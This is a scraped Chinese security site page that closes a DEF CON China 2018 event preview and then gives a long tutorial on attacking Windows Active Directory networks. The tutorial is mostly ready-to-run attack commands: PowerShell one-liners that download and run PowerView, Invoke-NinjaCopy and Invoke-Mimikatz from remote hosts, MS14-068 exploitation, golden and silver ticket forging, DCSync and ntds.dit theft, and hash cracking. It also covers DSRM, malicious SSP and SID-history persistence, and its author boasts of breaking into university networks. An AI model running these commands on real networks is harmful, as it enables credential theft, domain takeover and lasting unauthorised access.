3.专题工场 Workshop
和主会场演讲相比, Workshop 分会场的演讲更贴近实操,基本上听完就恨不得自己马上动手做一遍,分分钟想放声大唱如果我是Hacker你会爱我吗。

我拿到了今年 DEF CON 中国的 WorkShop 的节目单,让我们通过名称来感受一下这些议题的实用性:

搭建去中心化黑客网络
动手开发渗透框架
恶意软件分析实战
用 SDR 建立一个简单的无线电扫描系统
UAC 0day 修炼,一天足矣
移动APP攻击 2.0
社会工程概要
开发中的攻和守
据说演讲过后,会场还会准备一些设备供观众们上手把玩。

比如议题 “用 SDR 建立一个简单的无线电扫描系统”就专门准备了一些SDR USB 存储棒供观众借用,目的就是教会观众搭建无线电监听装置,监听和解码空气中的电视、广播信号。

看样子“理论结合实际” 不仅是我党的一贯思想原则,也是 DEF CON 的一大准则。显然,他们也得到了马克思先生的真传。

4.黑客体验营(Hack Village)
请原谅我的五毛钱英文翻译水平,Village 一词直接翻译过来是“村落”,所以 Hack Village 本应译为“黑客屯”,但听起来总让人忍不住放声歌唱哦滴老噶,诶就住在这个屯儿。为了避免这种尴尬,所以我在把它译作“黑客体验营”。

黑客体验营(Village)是 DEF CON 独家活动,同样以动手为主扯淡为辅。我挑几个给大家讲讲:

1.汽车Village

搞安全技术的人有很多,研究智能汽车安全的人也不少,但少有人会把一辆车拆了来做技术研究。这时汽车 Village 就显得很有必要了,它能让你现场尝试一把当汽车黑客的感觉:

(小时候拆玩具车,长大了拆跑车,这才是真·技术宅)

据说,今年 DEF CON China 上会弄一辆真·跑车来做实验,不知道会不会附送个漂亮的车模…………(我说的当然是汽车模型)

2.开锁Village

锁,是一个典型的防御系统。撬锁,或许是最早的硬件破解之一。开锁方法千千万,可以用钥匙直接打开,也可以用工具撬开,甚至还可以完全忽略钥匙孔直接打开。

开锁与关锁之间,其实也蕴含着最古老的技术攻防精神内核。来看看 DEF CON 的开锁 Village 怎么玩 :

有人或许疑惑,开锁跟黑客技术到底有什么关系?要回答这个问题,我得插播一则TK教主的故事。

据坊间传闻,玄武实验室的TK教主于旸在上高中时就迷恋开锁,还曾自制过开锁工具,包括钳子,剪刀,锉刀,后来他还练就了看一眼就能记住钥匙形状的独家本领。

网上有过这样一个问题:“黑哥跟TK都是医生出身,为什么能成为黑客技术大牛?他们有哪些交集?”。回答者总结了一条很精辟的要点:They are good thinkers,They hack everything.,翻译过来就是:他们是好的思考者,他们怼天怼地怼空气 不断寻求突破)

从那以后,我便理解了为什么堂堂 DEF CON 要弄个撬锁环节,因为 Hack 的内核就在于打破常规,人们用计算机技术作为工具来打破常规,便成了所谓的黑客。

除了以上两个,今年的 Village 体验营还有:

侦查 Village
数据包攻防极客 Village
硬件极客 Village
生物特征识别破解 Village
节目太多,这里就不一一拿出来讲了。

哦对了,由于这届是DEF CON 跟百度安全合作的,还额外弄了一个 AI 安全Village,众所周知百度在 AI 人工智能领域下了不小的注,也期待这次他们能带来 AI 安全方面的一些新成果和观点。

5.BCTF
CTF,简单来说就是黑客版的电竞比赛。
BCTF,就是百度安全举办的CTF比赛。

这次的 DEF CON China 由于是百度安全和DEF CON 官方联合举办,所以他们把 BCTF 比赛也放进了会场,如果你演讲听累了,还能顺道看看各路选手的现场技术交锋,感受一下真正的技术竞技,一举两得。

这次比赛时间从5月11日中午持续到12日下午五点,也就是说各路战队必须大战一天一夜才能决出排名。
往届 DEFCON CTF 现场图

关于这次 BCTF 比赛,我简单说几句:

1.CTF 夺旗赛这种比赛形式最早就是 DEF CON 在1996年发明的。
2.直到现在,一年一度的 DEF CON CTF 依然是全球CTF的标杆,几乎是每个CTF 选手的终极比赛目标。

这次 BCTF 虽然是百度安全主办而非 DEF CON 官方,但是跟 DEF CON China 放在同一个会场,相信比赛的品控以及现场气氛也都会做得不错。

在奖金池方面,根据官网上面的描述,这次 BCTF 的奖金达到了数百万级别,其中六十万元奖励CTF比赛的优胜队伍,第一名能直接斩获30万元现金。除此之外,现场还会有一个产品安全众测活动,白帽子黑客们现场为参与众测的厂商找漏洞,成功者瓜分所有奖金。

BCTF 官网的描述

另外,话说这次BCTF还专门设置了4支AI机器人战队,在场观众不仅能看到人人对战,人机对战,还能看到机机对战!想想竟有些小激动。

6.黑客音乐会(Hackmusic live )
我在大会的官网找到一个叫“黑客音乐秀”的环节,但是目前还没有任何详细描述。

只显示:“这里是极客范儿与ROCK的完美碰撞,解锁极客玩音乐的新姿势,用音乐致敬DEFCON,致敬极客精神。”

7.其他乱入彩蛋
除此之外,会场可能还会出现一些奇奇怪怪的东西,类似于这样:

这样的:

不好意思放错图了,应该是这样的:

看到这些,请不要惊慌,它们都是DEF CON 活动的一部分。

以上大概就是你能在这届 DEF CON China 看到的所有内容。(剧透得好过瘾)

最后严肃地说两句,我觉得 DEF CON 这类活动并不仅仅只是一场常规意义上的会议,准确来说,它是一场体验。

我们现在常常讲用户体验,很多时候花钱就是为了买个体验:你买台电脑,目的不是为了要硬件,而是要上网工作打游戏的体验;你买一个iPhone ,要的当然也不是那个金属玩意,而是为了它那顺滑的搞机体验。是这些体验,让你自己变得不一样,让你觉得很爽。

参加 DEF CON ,同样是一种体验,什么体验?每个人都不一样。或许是开拓了视野,看到了一些新技术思路;或许是结识了志同道合的新朋友,(技术爱好者应该能体会到那种有一水平相近,能相互探讨的小伙伴有多重要),或者是认识了某个技术大牛。

再或者,哪怕就只是去看了看,多年以后看到抽屉里的 DEF CON 胸卡能回想起的某个瞬间让你会心一笑,那这就够了。

8.彩蛋环节
彩蛋1:百度搜索黑洞,你的电脑屏幕会被突然出现的黑洞吃掉,同理,DEF CON China 举办期间(5月11~13日),你搜索 DEF CON ,也会出现一个五毛钱特效占据你的屏幕。
彩蛋2:在百度地图搜索 DEF CON 能直接定位到这次大会的位置。

大会购票及更多彩蛋,请登陆官网:https://anquan.baidu.com/special/activity/defcon/index.html

商务合作,文章发布请联系 dengjinling@360.cn
活动 Defcon China DEFCON

BSRC SRC 分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读

三层网络靶场搭建&MSF内网渗透
2019-02-22 14:30:46

Drupal SA-CORE-2019-003 远程命令执行分析
2019-02-22 11:30:15

RSAC 2019:最全大会亮点议题抢先揭秘
2019-02-22 10:32:46

Pony Loader窃密木马样本分析
2019-02-22 10:30:17
|发表评论
发表你的评论吧
昵称
教主
换一个
|评论列表
超级美少女 · 2018-05-11 23:29:40 回复
嘤嘤嘤嘤嘤

K0walski · 2018-05-13 08:34:54 回复
该不会是男孩子吧!

BSRC
欢迎访问 bsrc.baidu.com 提交百度安全漏洞
文章
5
粉丝
1
TA的文章
DEFCON CHINA世界顶级黑客大会!
2018-05-03 18:56:32
DEF CON China极客大会早鸟票4月13日正式开售!
2018-04-17 18:12:35
DEFCON CHINA | BCTF百万现金争夺战了解一下!
2018-04-10 17:30:23
给大家介绍一下,这是我们BSRC的年终奖
2017-12-27 17:10:58
什么,BSRC请你去旅游?!
2017-12-20 17:19:49
输入关键字搜索内容
相关文章
DVP新年活动 | 新年新气象,开工送福利
中奖名单公布 | 2018安全客年终大调查,最懂我的还是你!
ASRC新年活动 | 三重奖励等你来拿!
活动 | “(ACSS2019) 第四届中国汽车网络信息安全峰会 2019”即将召开
点融开源AgentSmith HIDS— 一套轻量级的HIDS系统
FOFA携手DVP开启双旦礼物!
叮叮当 | 辞旧迎新,愿老铁平安喜乐
热门推荐
文章目录
活动简介
活动时间
活动地点
活动议题
5.11议题概要
5.12议题概要
5.13议题概要
活动亮点(from浅黑科技:qianheikeji)
1.酷炫纪念胸牌(Badge)
2.会议的灵魂—-议题
3.专题工场 Workshop
4.黑客体验营(Hack Village)
5.BCTF
6.黑客音乐会(Hackmusic live )
7.其他乱入彩蛋
8.彩蛋环节
安全客Logo
安全客
安全客
关于我们
加入我们
联系我们
用户协议
商务合作
合作内容
联系方式
友情链接
内容须知
投稿须知
转载须知
合作单位
安全客
安全客
Copyright © 360网络攻防实验室 All Rights Reserved 京ICP备08010314号-66
Loading…0daybank

shentou

首页
文章

漏洞
SRC导航
内容精选

输入关键词搜索

APP 登录| 注册
我所了解的内网渗透——内网渗透知识大总结
阅读量 622543 | 评论 19 稿费 400

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
发布时间:2017-12-28 13:59:04

在没工作之前我常年搞各种高校的网络,边界口漏洞多容易进入而内网机器环境多不严格真是内网渗透的好地方,最后被誉为”学校杀手”,之前搞学校方法简单而粗爆很多内网常识都不懂就是各种扫,反正学校管理员的密码都是一样的就算不是域控密码基本都是一样,就算密码不是一样都是有规律。不过没有任何目的就是一味着登录各种系统的快感,输入密码按下回车键进入的快感。

信息收集
网上各种前期信息收集的文章各种net view之类的这里就不贴了。

一般想知道哪一台是域控知道自己内网的DNS就可以了,一般域控安装都有安装DNS有些不止一台,其次是通过扫描获取开放端口为389机器或者使用nltest命令查看。最后就是各种net view查看域控是哪台主机

nltest /DCLIST:pentest.com

这里利用PowerTools中的PowerView信息收集其实很多功能都是net命令这里只是以PowerShell方式实现

Powershell.exe -Nop -NonI -Exec Bypass “IEX (New.ObjectNet.WebClient).DownloadString(‘https://raw.githubusercontent.com/cheetz/PowerTools/master/PowerView/powerview.ps1’);Get-HostIP”

更详细参考:域渗透信息收集PowerTools

Get-NetDomain – gets the name of the current user’s domain
Get-NetForest – gets the forest associated with the current user’s domain
Get-NetForestDomains – gets all domains for the current forest
Get-NetDomainControllers – gets the domain controllers for the current computer’s domain
Get-NetCurrentUser – gets the current [domain\]username
Get-NetUser – returns all user objects, or the user specified (wildcard specifiable)
Get-NetUserSPNs – gets all user ServicePrincipalNames
Get-NetOUs – gets data for domain organization units
Get-NetGUIDOUs – finds domain OUs linked to a specific GUID
Invoke-NetUserAdd – adds a local or domain user
Get-NetGroups – gets a list of all current groups in the domain
Get-NetGroup – gets data for each user in a specified domain group
Get-NetLocalGroups – gets a list of localgroups on a remote host or hosts
Get-NetLocalGroup – gets the members of a localgroup on a remote host or hosts
Get-NetLocalServices – gets a list of running services/paths on a remote host or hosts
Invoke-NetGroupUserAdd – adds a user to a specified local or domain group
Get-NetComputers – gets a list of all current servers in the domain
Get-NetFileServers – get a list of file servers used by current domain users
Get-NetShare – gets share information for a specified server
Get-NetLoggedon – gets users actively logged onto a specified server
Get-NetSessions – gets active sessions on a specified server
Get-NetFileSessions – returned combined Get-NetSessions and Get-NetFiles
Get-NetConnections – gets active connections to a specific server resource (share)
Get-NetFiles – gets open files on a server
Get-NetProcesses – gets the remote processes and owners on a remote server

获取域方法
SYSVOL
SYSVOL是指存储域公共文件服务器副本的共享文件夹,它们在域中所有的域控制器之间复制。 Sysvol文件夹是安装AD时创建的,它用来存放GPO、Script等信息。同时,存放在Sysvol文件夹中的信息,会复制到域中所有DC上。

使用Group Policy Preferences配置组策略批量修改用户本地管理员密码

开始->管理工具->组策略管理->在这个域中创建GPO

设置-右键-编辑-用户配置-首选项-控制面板设置-本地用户和组

更新Administrator密码:

域服务器一般都会共享这个文件夹,或者搜索当前机器下的XML文件将包含凭据:groups.xml、scheduledtasks.xml、Services.xml、datasources.xml。

映射驱动(Drives.xml)

数据源(DataSources.xml)

打印机配置(Printers.xml)

创建/更新服务(Services.xml)

计划任务(ScheduledTasks.xml)

由于经过身份验证的用户(任何域用户或受信任域中的用户)具有对SYSVOL的读取权限

\192.168.50.205sysvolpentest.comPolicies{84017B64-2662-4BA3-A06C-FB953CCBE92D}UserPreferencesGroups.xml

经过AES-256位加密

cpassword=”fUCMHAw9I2PdYRZEBMS54IvtPHX3ni44qRkWtfBtxoA”
可以使用AES私钥解密GPP密码

微软在MSDN上发布了AES加密密钥(共享密钥)

https://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be.aspx

使用PowerShell脚本解密

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1

寻找SYSVOL里的密码和攻击GPP(组策略偏好)

Windows Server 2008 R2之四管理Sysvol文件夹

SYSVOL中查找密码并利用组策略首选项

利用SYSVOL还原组策略中保存的密

防:

在用于管理GPO的计算机上安装KB2962486,以防止将新凭据置于组策略首选项中。
设置Everyone访问权限
不在组策略中使用域控密码
设置共享文件夹SYSVOL的访问权限
删除现有的GPP里包含密码的xml文件。
MS14-068 Kerberos
Kerberos是西方神话中守卫地狱之门的三头犬的名字。只所以使用这个名字是因为Kerberos需要三方的共同参与,才能完成一次事务处理。

Kerberos 是Windows活动目录中使用的客户/服务器认证协议,为通信双方提供双向身份认证。相互认证或请求服务的实体被称为委托人(principal)。参与的中央服务器被称为密钥分发中心(简称KDC)。KDC有两个服务组成:身份验证服务(Authentication Server,简称AS)和票据授予服务(Ticket Granting Server,简称TGS)。在Windows域环境下,身份验证服务和票据授予服务可同时运行在任何可写域控服务器上。

更多阅读:

Kerberos协议的滥用

Kerberos的工作原理

最根本的问题在于权限属性证书可以被伪造,权限属性证书中存储帐号用户名、ID、组成员等信息,掌握域用户一些基本信息就可以获取域管理员权限

攻击者可以有效地重写有效的Kerberos TGT身份验证票据,使其成为域管理员(和企业管理员)

https://github.com/bidord/pykek/archive/master.zip

https://github.com/gentilkiwi/mimikatz/releases/

apt-get install krb5-user

apt-get install rdate
MS14-068过程:

请求没有PAC的Kerberos TGT认证票据作为标准用户,DC回复TGT
生成一个伪造的PAC,没有密钥,所以生成的PAC使用域用户的密码数据用MD5算法而不是HMAC_MD5“签名”。
作为TGS服务票据请求的一部分,使用伪造的PAC作为授权数据发送无PAC的TGT到DC。
DC似乎被这个混淆了,所以它放弃了用户发送的不含PAC的TGT,创建一个新的TGT,并将伪造的PAC插入到它自己的授权数据中,并将这个TGT发送给用户。
这个伪造PAC的TGT使得用户可以成为易受攻击的DC上的域管理员。
whoami /user

python ms14-068.py -u 域用户@域名 -p 密码 -s 用户SID -d 域主机
产生缓存的票据,在当前Kali下生成之后再放到域用户机器中

利用mimikatz工具将得到的TGT_domainuser@SERVER.COM.ccache写入内存,创建缓存证书:

mimikatz.exe “kerberos::ptc c:TGT_darthsidious@pentest.com.ccache” exit

klist 查看

net use k: \pentest.comc$
dir k:

相关资料:

Kerberos工具包PyKEK

深入解读MS14-068漏洞

Kerberos安全漏洞

防:

安装检查KB3011780的安装

SPN扫描
Kerberoast可以作为一个有效的方法从Active Directory中以普通用户的身份提取服务帐户凭据,无需向目标系统发送任何数据包

SPN 是服务在使用 Kerberos 身份验证的网络上的唯一标识符。 它由服务类、主机名和端口组成。 在使用 Kerberos 身份验证的网络中,必须在内置计算机帐户(如 NetworkService 或 LocalSystem)或用户帐户下为服务器注册 SPN。 对于内置帐户,SPN 将自动进行注册。 但是,如果在域用户帐户下运行服务,则必须为要使用的帐户手动注册 SPN。

SPN扫描的主要好处是,SPN扫描不需要连接到网络上的每个IP来检查服务端口,SPN通过LDAP查询向域控执行服务发现,spn查询是kerberos票据行为一部分,因此比较难检测SPN扫描。

powershell -exec bypass -Command “IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/PyroTek3/PowerShell-AD-Recon/master/Discover-PSMSSQLServers’); Discover-PSMSSQLServers”

扫描SQL Server脚本

Import-Module .Get-SQLServerAccess.psm1
PS C:Get-SqlServer-Escalate-CheckAccess
[*] ———————————————————————-
[*] Start Time: 04/01/2014 10:00:00
[*] Domain: mydomain.com
[*] DC: dc1.mydomain.com [*] Getting list of SQL Server instances from DC as mydomainmyuser…
[*] 5 SQL Server instances found in LDAP.
[*] Attempting to login into 5 SQL Server instances as mydomainmyuser…
[*] ———————————————————————-
[-] Failed – server1.mydomain.com is not responding to pings
[-] Failed – server2.mydomain.com (192.168.1.102) is up, but authentication/query failed
[+] SUCCESS! – server3.mydomain.com,1433 (192.168.1.103) – Sysadmin: No – SvcIsDA: No
[+] SUCCESS! – server3.mydomain.comSQLEXPRESS (192.168.1.103) – Sysadmin: No – SvcIsDA: No
[+] SUCCESS! – server4.mydomain.comAppData (192.168.1.104) – Sysadmin: Yes – SvcIsDA: Yes
[*] ———————————————————————-
[*] 3 of 5 SQL Server instances could be accessed.
[*] End Time: 04/01/2014 10:02:00
[*] Total Time: 00:02:00
[*] ———————————————————————-
通过LDAP从ADS获取SQL Server的列表,然后试图用当前域用户登陆每一个SQL Server。这次将输出到CSV文件中。

PS C:Get-SQLServerAccess -ShowSum | export-csv c:tempsql-server-excessive-privs.csv
[*] ———————————————————————-
[*] Start Time: 04/01/2014 10:00:00
[*] Domain: mydomain.com
[*] DC: dc1.mydomain.com
[*] Getting list of SQL Server instances from DC as mydomainmyuser…
[*] 5 SQL Server instances found in LDAP.
[*] Attempting to login into 5 SQL Server instances as mydomainmyuser…
[*] ———————————————————————-
[-] Failed – server1.mydomain.com is not responding to pings
[-] Failed – server2.mydomain.com (192.168.1.102) is up, but authentication/query failed
[+] SUCCESS! – server3.mydomain.com,1433 (192.168.1.103) – Sysadmin: No – SvcIsDA: No
[+] SUCCESS! – server3.mydomain.comSQLEXPRESS (192.168.1.103) – Sysadmin: No – SvcIsDA: No
[+] SUCCESS! – server4.mydomain.comAppData (192.168.1.104) – Sysadmin: Yes – SvcIsDA: Yes
[*] ———————————————————————-
[*] 3 of 5 SQL Server instances could be accessed.
[*] End Time: 04/01/2014 10:02:00
[*] Total Time: 00:02:00
[*] ———————————————————————-
弱口令猜解

Get-SQLServerAccess -sqluser sa -sqlpass 123qwe!@#
寻找敏感数据

Get-SQLServerAccess -query “select name as ‘Databases’ from master..sysdatabases where HAS_DBACCESS(name) = 1”
更多参考:

非扫描式的SQL Server发现

相关资料:

SPN扫描

扫描SQLServer脚本

Kerberos黄金门票

Kerberos Golden Tickets are Now More Golden

域服务账号破解实践

kerberos认证原理

深刻理解windows安全认证机制ntlm & Kerberos

Kerberos身份验证流程

密码转换为NTLM哈希值,时间戳使用散列加密,并作为身份验证票据(TGT)请求(AS-REQ)中的身份验证器发送给KDC。
域控制器(KDC)检查用户信息(登录限制,组成员身份等)并创建票证授予票证(TGT)。
TGT被加密,签名并交付给用户(AS-REP)。只有域中的Kerberos服务(KRBTGT)才能打开并读取TGT数据。
用户在申请票证授予服务(TGS)票证(TGS-REQ)时向TG提交TGT。DC打开TGT并验证PAC校验和 – 如果DC可以打开票证和校验和签出,则TGT =有效。TGT中的数据被有效地复制来创建TGS票据。
使用目标服务帐户的NTLM密码散列对TGS进行加密并发送给用户(TGS-REP)。
用户在适当的端口上连接到托管服务的服务器并呈现TGS(AP-REQ)。该服务使用其NTLM密码散列打开TGS票证。
其实可以说是一种后门而不是什么漏洞。

黄金票据是伪造TGT,可以获取任何Kerberos服务权限,与域控制器没有AS-REQ或AS-REP(步骤1和2)通信。由于黄金票据是伪造的TGT,它作为TGS-REQ的一部分被发送到域控制器以获得服务票据。

Kerberos黄金票证是有效的TGT Kerberos票证,因为它是由域Kerberos帐户(KRBTGT)加密/签名的 。TGT仅用于向域控制器上的KDC服务证明用户已被其他域控制器认证。TGT被KRBTGT密码散列加密并且可以被域中的任何KDC服务解密的事实证明它是有效的

利用条件:

1.普通域用户

2.krbtgt ntlm hash

3.域SID

在域上抓取hash

lsadump::dcsync /domain:pentest.com /user:krbtgt

kerberos::purge
kerberos::golden /admin:administrator /domain:域 /sid:SID /krbtgt:hash值 /ticket:adinistrator.kiribi
kerberos::ptt administrator.kiribi
kerberos::tgt
net use k: \pentest.comc$
Kerberos银票务
攻击者如何使用Kerberos银票来利用系统

https://www.feiworks.com/wy/drops/域渗透——Pass%20The%20Ticket.pdf

黄金票据和白银票据的一些区别:

Golden Ticket: 伪造TGT,可以获取任何Kerberos服务权限

Silver Ticket: 伪造TGS,只能访问指定的服务

加密方式不同:

Golden Ticket 由krbtgt的hash加密

Silver Ticket 由服务账号(通常为计算机账户)Hash加密

认证流程不同:

Golden Ticket在使用的过程需要同域控通信

Silver Ticket在使用的过程不需要同域控通信

用户在适当的端口上连接到托管服务的服务器并呈现TGS(AP-REQ)。该服务使用其NTLM密码散列打开TGS票证。

与域控制器没有AS-REQ / AS-REP(步骤1和2),也没有TGS-REQ / TGS-REP(步骤3和4)通信。由于银票是伪造的TGS,所以没有与域控制器通信。

银票是伪造的Kerberos票证授予服务(TGS)票据,也称为服务票据。

域上获取信息

mimikatz log “sekurlsa::logonpasswords”
首先需要获得如下信息:

/domain

/sid

/target:目标服务器的域名全称,此处为域控的全称

/service:目标服务器上面的kerberos服务,此处为cifs

/rc4:计算机账户的NTLM hash,域控主机的计算机账户

/user:要伪造的用户名,此处可用silver测试

mimikatz.exe “kerberos::golden /domain:域 /sid:SID /target:域全称 /service:要访问的服务 /rc4:NTLM /user:silver /ptt”

就可以访问域的cifs共享,访问其它是不行的,Silver Ticket是伪造的TGS,也就是说其范围有限,只能访问指定的服务权限

域服务账号破解
与上面SPN扫描类似的原理

https://github.com/nidem/kerberoast

获取所有用作SPN的帐户

setspn -T PENTEST.com -Q */*

从Mimikatz的ram中提取获得的门票

kerberos::list /export

用rgsrepcrack破解

tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
没复现成功

凭证盗窃
最常用的手法域管理登录历史记录,记得获取某边界权限一个然后抓取hash并没有域管理的,可能是搞的动静有点大,管理员第二天上去把马给清除了,还好留了有后门再次抓取hash直接获取到域管理员。

大多数Active Directory管理员使用用户帐户登录到其工作站,然后使用RunAs(将其管理凭据放置在本地工作站上)或RDP连接到服务器运行Mimikatz 读取密码,收集密码尝试登录管理员机器一般只要域管理员登录过的机器抓取都可以获取域控了

防: 管理员不应该拿着域用户去登录web服务器或者邮件服务器一但这些被攻破抓取的密码就是域了

ARP
最后才是ARP欺骗不到最后不要拿出来。

Responder

cain

ettercap

BDFProxy

获取AD Hash
攻击者如何转储Active Directory数据库

活动目录数据库(ntds.dit)

Active Directory域数据库存储在ntds.dit文件中(默认存储在c:WindowsNTDS中,AD数据库是Jet数据库引擎,它使用提供数据存储和索引服务的可扩展存储引擎(ESE)ESE级索引使对象属性可以快速定位。ESE确保数据库符合ACID(原子性,一致性,隔离性和持久性) – 交易中的所有操作完成或不执行。AD ESE数据库非常快速和可靠。

目录分区

ntds.dit文件由三个主表组成:数据表,链接表和SD表。

具体详细资料查看:

https://technet.microsoft.com/en-us/library/cc772829(v=ws.10).aspx

使用VSS卷影副本
什么是卷影副本?

卷影副本,也称为快照,是存储在 Data Protection Manager (DPM) 服务器上的副本的时间点副本。副本是文件服务器上单个卷的受保护共享、文件夹和文件的完整时间点副本。

支持操作系统:

Windows Server 2003, Windows Server 2008, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012, Windows 8

通常拿下一台服务器时准备内网渗透,需要传你的工具到目标机器中,而且是长久渗透的这种,为了不被发现!获取系统SAM文件等

使用VSS卷影副本(通过WMI或PowerShell远程处理)远程提取ntds.dit

Windows有一个名为WMI的内置管理组件,支持远程执行(需要管理员权限)。WMIC是在远程计算机上执行命令的WMI命令工具。

利用WMIC(或PowerShell远程处理)创建(或复制现有的)VSS。

wmic /node:AD /user:PENTESTAdministrator /password:123qweQWE!@# process call create “cmd /c vssadmin create shadow /for=c: 2>&1 > c:vss.log”

查看vss.log

wmic /node:AD /user:PENTESTadministrator /password:123qwe!@#!@# process call create “cmd /c copy 卷影IDWindowsNTDSNTDS.dit C:windowstempNTDS.dit 2>&1”

wmic /node:AD /user:PENTESTadministrator /password:123qwe!@# process call create “cmd /c copy 卷影IDWindowsSystem32configSYSTEM c:windowstempSYSTEM.hive 2>&1”

net use k: \pentest.comc$

利用这种方法可以和上面的Kerberos票结合来实现

使用DIT Snapshot Viewer可以验证我们是否成功地获得了ntds.dit文件。

https://github.com/yosqueoy/ditsnap

NTDSUtil获取ntds.dit文件
Ntdsutil.exe是一个为Active Directory提供管理设施的命令行工具。

使用NTDSUTIL的IFM创建(VSS卷影副本)在DC上本地引用ntds.dit

NTDSUtil是本地处理AD DB的命令实用程序(ntds.dit),并为DCPromo启用IFM集创建。IFM与DCPromo一起用于“从媒体安装”,因此被升级的服务器不需要通过网络从另一个DC复制域数据。

ntdsutil “ac i ntds” “ifm” “create full c:temp” q q
当创建一个IFM时,VSS快照被拍摄,挂载,ntds.dit文件和相关数据被复制到目标文件夹中。

此命令也可以通过WMI或PowerShell远程执行。

PowerShell提取ntds.dit
使用PowerSploit的Invoke-NinjaCopy远程提取ntds.dit(需要在目标DC上启用PowerShell远程处理功能)。

Invoke-NinaCopy是一个PowerShell函数,它可以利用PowerShell远程处理(必须在目标DC上启用PowerShell远程处理),从远程计算机上复制文件(即使文件已锁定,可直接访问文件)。

https://github.com/PowerShellMafia/PowerSploit

IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-NinjaCopy.ps1’); Invoke-NinjaCopy -Path “C:windowsntdsntds.dit” -ComputerName “AD” -LocalDestination “C:tempntds.dit”
使用Mimikatz提取
使用Mimikatz在提取Active Directory hash

mimikatz lsadump::lsa /inject exit
使用RID 502的帐户是KRBTGT帐户,使用RID 500的帐户是域的默认管理员。

获取对Active Directory数据库文件的访问权限(ntds.dit)

Active Directory数据库(ntds.dit)包含有关Active Directory域中所有对象的所有信息

该文件还包含所有域用户和计算机帐户的密码哈希值。

有时候域控升级等会把ntds.dit备份文件可从共享服务器中找到可以不用直接从域控制复制

使用Mimikatz转储LSASS内存

sekurlsa::minidump c:templsass.dmp
使用任务管理器(获取域管理员凭据)转储LSASS内存

使用PowerShell Mimikatz
使用PowerShell

域必需要能上网否则这方法不可用

powershell IEX (New-Object Net.WebClient).DownloadString(‘http://is.gd/oeoFuI’); Invoke-Mimikatz -Command ‘”privilege::debug” “LSADump::LSA /inject” exit’
无程获取

Powershell IEX (New-Object Net.WebClient).DownloadString(‘http://is.gd/oeoFuI’); Invoke-Mimikatz -Command ‘”privilege::debug” “LSADump:LSA /inject”‘ -Computer pentest.com
Mimikatz的DCSync
使用Mimikatz的DCSync 远程转储Active Directory凭证

它有效地”模拟”域控制器并向目标域控制器请求帐户密码数据。

使用Mimikatz的DCSync和相应的权限,攻击者可以通过网络从域控制器中提取密码散列以及以前的密码散列,而无需交互式登录或复制Active Directory数据库文件(ntds.dit)

运行DCSync需要特殊权限。管理员,域管理员或企业管理员以及域控制器计算机帐户的任何成员都能够运行DCSync来提取密码数据。请注意,只读域控制器不仅可以默认为用户提取密码数据。

提取 KRBTGT用户帐户的密码数据:

Mimikatz “privilege::debug” “lsadump::dcsync /domain:rd.adsecurity.org /user:krbtgt”exit
管理员用户帐户提取密码数据:

Mimikatz “privilege::debug” “lsadump::dcsync /domain:rd.adsecurity.org /user:Administrator” exit
NTDS.dit中提取哈希
从NTDS.dit中提取哈希

提取出来的文件通过ntdsdump是无法提取的通过esedbexport来恢复。

安装:

wget https://github.com/libyal/libesedb/releases/download/20170121/libesedb-experimental-20170121.tar.gz`
apt-get install autoconf automake autopoint libtool pkg-config
./configure
make
make install
ldconfig
esedbexport -m tables ntds.dit
大概需要(20-30分钟)

最后生成在./ntds.dit.export/

使用ntdsxtract提取域信息

git clone https://github.com/csababarta/ntdsxtract.git
python setup.py build && python setup.py install
提取hash: (这里需要将刚拷出来的三个文件中的system复制到当前目录下)

$ dsusers.py ntds.dit.export/datatable.3 ntds.dit.export/link_table.5 output –syshive SYSTEM –passwordhashes –pwdformat ocl –ntoutfile ntout –lmoutfile lmout |tee all_user_info.txt
这样提取出来之后已经是转换成hashcat可破解的格式

hashcat -m 1000 ntout ./password.txt

AD持久化
活动目录持久性技巧

Sneaky Active Directory Persistence Tricks

DS恢复模式密码维护

DSRM密码同步
DSRM密码同步将域控权限持久化

获取到域控权限后如何利用DSRM密码同步将域管权限持久化。

Windows Server 2008 需要安装KB961320补丁才支持DSRM密码同步,Windows Server 2003不支持DSRM密码同步。

KB961320

https://support.microsoft.com/en-us/help/961320/a-feature-is-available-for-windows-server-2008-that-lets-you-synchroni

巧用DSRM密码同步将域控权限持久化

http://drops.xmd5.com/static/drops/tips-9297.html

同步之后使用法国佬神器(mimikatz)查看krbtgt用户和SAM中Administrator的NTLM值。

可以看到两个账户的NTLM值相同,说明确实同步成功

修改注册表允许DSRM账户远程访问

修改注册表 hkey_local_machineSystemCurrentControlSetControlLsa 路径下的 DSRMAdminLogonBehavior 的值为2。

系统默认不存在DSRMAdminLogonBehavior,请手动添加。

使用HASH远程登录域控

DSRM账户是域控的本地管理员账户,并非域的管理员帐户。所以DSRM密码同步之后并不会影响域的管理员帐户。

事件查看器的安全事件中筛选事件ID为4794的事件日志,来判断域管是否经常进行DSRM密码同步操作。

缓解措施
对于这个问题的唯一有效的缓解措施就是确保每一台域控制器的DSRM账户密码是唯一的并且定期修改此密码。同时,确保注册表DsrmAdminLogonBehavior的值不为2,最好将其直接删除或者设置其值为1或0。

Security Support Provider

Sneaky Active Directory Persistence #12: Malicious Security Support Provider (SSP)

http://www.evil0x.com/posts/11354.html

直译为安全支持提供者 又名Security Package.

简单的理解为SSP就是一个DLL,用来实现身份认证

将mimilib.dll复制到域控c:/windows/system32下

设置SSP

修改域控注册表位置:

HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa/Security Packages/

Memory Updating of SSPs

privilege::debug

misc::memssp

这样就不需要重启

c:/windows/system32可看到新生成的文件kiwissp.log

如果不是在域环境下生成的文件会在 system32mimilsa.log

防:

检测注册表位置:

HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa/Security Packages/
检测%windir%/System32是否有可疑dll

SID历史

Sneaky Active Directory Persistence #14: SID History

SID历史记录允许另一个帐户的访问被有效地克隆到另一个帐户

mimikatz “privilege::debug” “misc::addsid bobafett ADSAdministrator”
AdminSDHolder&SDProp
利用AdminSDHolder&SDProp(重新)获取域管理权限

